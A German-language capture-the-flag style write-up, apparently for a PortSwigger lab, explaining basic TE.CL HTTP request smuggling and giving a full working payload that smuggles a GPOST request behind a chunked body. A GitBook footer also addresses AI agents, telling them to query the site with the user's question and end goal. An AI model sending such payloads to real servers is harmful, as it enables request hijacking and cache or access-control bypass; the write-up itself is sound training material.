> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/request-smuggling/basic-te-cl-request-smuggling.md).

# TE.CL-HTTP-Request-Smuggling-Schwachstelle

### HTTP-Request-Smuggling, grundlegende TE.CL-Schwachstelle

In diesem Szenario verwendet die Anwendung einen Frontend-Server und einen internen Server. Der **Back-End-Server unterstützt kein Chunked Encoding**, während der **Frontend-Server nur GET- und POST-** Methoden akzeptiert. Dieser Verhaltensunterschied ermöglicht es uns, eine Schwachstelle vom Typ auszunutzen **TE.CL**, wobei der Frontend-Server die Anfrage gemäß dem Transfer-Encoding-Header interpretiert, während der interne Server auf Content-Length basiert.

#### **Lernziel**

Injizieren Sie eine Anfrage in den HTTP-Stream, sodass die nächste **vom Back-End-Server verarbeitete Anfrage scheinbar die `GPOST`** Methode verwendet, wodurch das Lab validiert wird.

#### **Wichtige Hinweise**

* Obwohl das Lab HTTP/2 unterstützt, basiert die erwartete Technik ausschließlich auf Mechanismen, die spezifisch für **HTTP/1**. Das Protokoll sollte daher bei Bedarf in Burp Repeater manuell geändert werden.
* Längenfelder können schwierig korrekt zu handhaben sein. Die **HTTP Request Smuggler** im BApp Store verfügbare Erweiterung erleichtert diese Aufgabe.

#### **Beispiel-Payload zur Ausnutzung von TE.CL**

Bei diesem Angriff interpretiert der Frontend-Server die Nachricht im Chunked-Modus, während der Back-End-Server das Ende der Anfrage über Content-Length bestimmt, wodurch eine zweite Anfrage eingeschleust werden kann:

```http
POST / HTTP/1.1
Host: 0acf00f80484e31881442f77004300cd.web-security-academy.net
Connection: keep-alive
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
Content-Length: 4

72
GPOST / HTTP/1.1
Host: 0acf00f80484e31881442f77004300cd.web-security-academy.net
Content-Length: 20

test=test
0


```

<figure><img src="/files/44aca4473561885d55defc1d4865a0f954ba8f3d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/request-smuggling/basic-te-cl-request-smuggling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
